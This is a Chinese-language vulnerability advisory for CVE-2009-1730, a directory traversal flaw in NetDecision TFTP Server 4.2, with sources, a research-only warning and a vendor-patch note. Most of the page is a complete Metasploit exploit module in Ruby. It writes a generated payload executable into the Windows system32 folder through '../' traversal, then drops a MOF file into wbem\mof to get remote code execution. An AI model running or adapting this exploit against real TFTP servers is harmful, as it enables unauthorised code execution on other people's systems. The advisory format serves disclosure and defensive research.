发布日期：2009-05-17
更新日期：2009-05-19

受影响系统：

NetMechanica NetDecision TFTP Server 4.2

描述：

---

BUGTRAQ  ID: 35002
CVE ID: CVE-2009-1730

NetDecision TFTP Server可在Windows工作站或服务器上提供标准的TFTP服务。

NetDecision TFTP Server没有正确地过滤用户所提交的TFTP GET和PUT请求，远程攻击者可以通过提交恶意的TFTP请求执行目录遍历攻击，向TFTP服务器root目录外上传或检索文件。

<*来源：Rob Kraus
  
  链接：http://secunia.com/advisories/35131/
        http://marc.info/?l=bugtraq&m=124276899310112&w=2
        http://www.exploit-db.com/exploits/20392/
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

Rob Kraus （）提供了如下测试方法：


##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Rex::Proto::TFTP
    include Msf::Exploit::EXE
    include Msf::Exploit::WbemExec

    def initialize(info={})
        super(update_info(info,
            'Name'           => "NetDecision 4.2 TFTP Writable Directory Traversal Execution",
            'Description'    => %q{
                    This module exploits a vulnerability found in NetDecision 4.2 TFTP server. The
                software contains a directory traversal vulnerability that allows a remote attacker
                to write arbitrary file to the file system, which results in code  execution under
                the context of user executing the TFTP Server.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'Rob Kraus', # Vulnerability discovery
                    'juan vazquez' # Metasploit module
                ],
            'References'     =>
                [
                    ['CVE', '2009-1730'],
                    ['OSVDB', '54607'],
                    ['BID', '35002']
                ],
            'Payload'        =>
                {
                    'BadChars' => "\x00",
                },
            'DefaultOptions'  =>
                {
                    'ExitFunction' => "none"
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    ['NetDecision 4.2 TFTP on Windows XP SP3 / Windows 2003 SP2', {}]
                ],
            'Privileged'     => false,
            'DisclosureDate' => "May 16 2009",
            'DefaultTarget'  => 0))

        register_options([
            OptInt.new('DEPTH', [false, "Levels to reach base directory",1]),
            OptAddress.new('RHOST', [true, "The remote TFTP server address"]),
            OptPort.new('RPORT', [true, "The remote TFTP server port", 69])
        ], self.class)
    end

    def upload(filename, data)
        tftp_client = Rex::Proto::TFTP::Client.new(
            "LocalHost"  => "0.0.0.0",
            "LocalPort"  => 1025 + rand(0xffff-1025),
            "PeerHost"   => datastore['RHOST'],
            "PeerPort"   => datastore['RPORT'],
            "LocalFile"  => "DATA:#{data}",
            "RemoteFile" => filename,
            "Mode"       => "octet",
            "Context"    => {'Msf' => self.framework, "MsfExploit" => self },
            "Action"     => :upload
        )

        ret = tftp_client.send_write_request { |msg| print_status(msg) }
        while not tftp_client.complete
            select(nil, nil, nil, 1)
            tftp_client.stop
        end
    end

    def exploit
        peer = "#{datastore['RHOST']}:#{datastore['RPORT']}"

        # Setup the necessary files to do the wbemexec trick
        exe_name = rand_text_alpha(rand(10)+5) + '.exe'
        exe      = generate_payload_exe
        mof_name = rand_text_alpha(rand(10)+5) + '.mof'
        mof      = generate_mof(mof_name, exe_name)

        # Configure how deep we want to traverse
        depth  = (datastore['DEPTH'].nil? or datastore['DEPTH'] == 0) ? 10 : datastore['DEPTH']
        levels = "../" * depth

        # Upload the malicious executable to C:\Windows\System32\
        print_status("#{peer} - Uploading executable (#{exe.length.to_s} bytes)")
        upload("#{levels}WINDOWS\\system32\\#{exe_name}", exe)

        # Let the TFTP server idle a bit before sending another file
        select(nil, nil, nil, 1)

        # Upload the mof file
        print_status("#{peer} - Uploading .mof...")
        upload("#{levels}WINDOWS\\system32\\wbem\\mof\\#{mof_name}", mof)
    end
end

建议：

---

厂商补丁：

NetMechanica
------------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.netmechanica.com/products/?prod_id=1015

浏览次数：3804
严重程度：0（网友投票）